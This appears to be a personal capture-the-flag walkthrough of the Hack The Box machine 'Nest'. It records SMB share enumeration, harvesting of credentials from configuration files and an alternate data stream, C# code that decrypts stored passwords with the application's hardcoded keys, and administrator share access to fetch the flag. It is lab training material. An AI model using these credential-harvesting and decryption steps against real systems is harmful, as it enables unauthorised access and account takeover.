> For the complete documentation index, see [llms.txt](https://ressurect.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ressurect.gitbook.io/notes/hack-the-box/nest.md).

# Nest

**- Commands can be run by adding -C flag (automatically sends CRLF) in nc**\
nc -Cv nest.htb 4386\
telnet nest.htb 4386\
\
**- SMB Share with some sort of misconfiguration**\
smbclient -U '' -L nest.htb\
get "\<filename-with-spaces>"\
\
**- Listing directories and files recursively**\
smbmap -H 10.10.10.178 -u '' -R\
smbmap -H 10.10.10.178 -u '\[redacted]' -p '\[redacted]' -R\
\
\- Downloading files ending with .xml\
smbmap -H 10.10.10.178 -u '\[redacted]' -p '\[redacted]' -R -A '.xml'\
\
cat 10.10.10.178-Data\_IT\_Configs\_RU\ Scanner\_RU\_config.xml\
*\<?xml version="1.0"?>*\
*\<ConfigFile xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>" xmlns:xsd="[http://www.w3.org/2001/XMLSchema">\_\\](http://www.w3.org/2001/XMLSchema">_\\)
*\<Port>389\</Port>*\
*\<Username>*\[redacted]*\</Username>*\
*\<Password>*\[redacted]*\</Password>\_\
*\</ConfigFile>*\
\
\- Password is encrypted string\
\[Didn't work] smbclient -U "\[redacted]%$(echo '\[redacted]' | base64 -d)" nest.htb -L\
\
\- SMB root folder not accessible but child folder 'Carl' is

\
cat 10.10.10.178-Data\_IT\_Configs\_NotepadPlusPlus\_config.xml\
*\<History nbMaxFile="15" inSubMenu="no" customLength="-1">*\
*\<File filename="C:\windows\System32\drivers\etc\hosts" />*\
*\<File filename="\\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />*\
*\<File filename="C:\Users\C.Smith\Desktop\todo.txt" />*\
*\</History>*\
\
**- Decrypting user password**\
\- Convert the file 'Utils.vb' to a C-sharp file.\
<https://converter.telerik.com/>\
Note: tried : 'wine64 cscript Utils.vb' to compile but there were errors \[to-do?]\
\- Add 'public static void main' to the 'Utils' class and create an object to call the 'Decrypt function'. Remove 'static' from 'Decrypt' function.

```csharp
using System;
using System.Text;
using System.Security.Cryptography;

public class Utils
{
    public static string GetLogFilePath()
    {
        return System.IO.Path.Combine(Environment.CurrentDirectory, "Log.txt");
    }

    public string DecryptString(string EncryptedString)
    {
        if (string.IsNullOrEmpty(EncryptedString))
            return string.Empty;
        else
            return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256);
    }

    public static string EncryptString(string PlainString)
    {
        if (string.IsNullOrEmpty(PlainString))
            return string.Empty;
        else
            return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256);
    }

    public static string Encrypt(string plainText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
    {
        byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
        byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
        byte[] plainTextBytes = Encoding.ASCII.GetBytes(plainText);
        Rfc2898DeriveBytes password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations);
        byte[] keyBytes = password.GetBytes(System.Convert.ToInt32(keySize / (double)8));
        AesCryptoServiceProvider symmetricKey = new AesCryptoServiceProvider();
        symmetricKey.Mode = CipherMode.CBC;
        ICryptoTransform encryptor = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes);
        using (System.IO.MemoryStream memoryStream = new System.IO.MemoryStream())
        {
            using (CryptoStream cryptoStream = new CryptoStream(memoryStream, encryptor, CryptoStreamMode.Write))
            {
                cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
                cryptoStream.FlushFinalBlock();
                byte[] cipherTextBytes = memoryStream.ToArray();
                memoryStream.Close();
                cryptoStream.Close();
                return Convert.ToBase64String(cipherTextBytes);
            }
        }
    }

    public static string Decrypt(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
    {
        byte[] initVectorBytes;
        initVectorBytes = Encoding.ASCII.GetBytes(initVector);

        byte[] saltValueBytes;
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue);

        byte[] cipherTextBytes;
        cipherTextBytes = Convert.FromBase64String(cipherText);

        Rfc2898DeriveBytes password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations);

        byte[] keyBytes;
        keyBytes = password.GetBytes(System.Convert.ToInt32(keySize / (double)8));

        AesCryptoServiceProvider symmetricKey = new AesCryptoServiceProvider();
        symmetricKey.Mode = CipherMode.CBC;

        ICryptoTransform decryptor;
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes);

        System.IO.MemoryStream memoryStream;
        memoryStream = new System.IO.MemoryStream(cipherTextBytes);

        CryptoStream cryptoStream;
        cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read);

        byte[] plainTextBytes;
        plainTextBytes = new byte[cipherTextBytes.Length + 1];

        int decryptedByteCount;
        decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);

        memoryStream.Close();
        cryptoStream.Close();

        string plainText;
        plainText = Encoding.ASCII.GetString(plainTextBytes, 0, decryptedByteCount);

        return plainText;
    }
    
    public static void Main(string[] args)
    {
        Console.WriteLine ("Hello Mono World");
        Utils dec = new Utils();
        string temp=dec.DecryptString("[redacted]");
        Console.WriteLine(temp);
    }
}
```

\
\- mcs Utils.cs\
\- mono Utils.exe\
\- smbclient -U '\[redacted]%\[redacted]' //10.10.10.178/Users\
\
**- Fetching Debug password**\
<https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/>\
\- smbclient -U '\[redacted]%\[redacted]' //10.10.10.178/Users\
\- allinfo "Debug Mode Password.txt"\
\- get "Debug Mode Password.txt:Password"\
\
Debug mode password - \[redacted]\
\
**- LDAP Data**\
\- setdir ..\ldap\
\- showquery 2\
\
\[Ldap.conf]\
Domain=nest.local\
Port=389\
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local\
User=Administrator\
Password=\[redacted]\
\
**- Decompiling HQLdap.exe**\
\- ilspy\
\- Open HQLdap.exe

![](https://2670651756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M_GJ76GhG1mBf0sNx_3%2Fuploads%2Fo8j0Eirkz6fZiUJ5iWN1%2Ftemp11.png?alt=media\&token=42570a5b-2568-4edf-841b-3578d43defcc)

\
\- Save code for class "CR"\
\- Add the following code inside the class "CR":

```csharp
public static void Main(String [] args){
Console.WriteLine("Program Running");
CR dec = new CR();
String temp = CR.DS("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=");
Console.WriteLine(temp);
}
```

\
\- mcs CR.cs\
\- mono CR.exe\
\
**- Accessing Administrator directory**\
\- smbclient -U 'administrator%\[redacted]' //10.10.10.178/C$\
\- cd Users/Administrator/Desktop/\
\- get flag.txt -\
\
\
\ <br>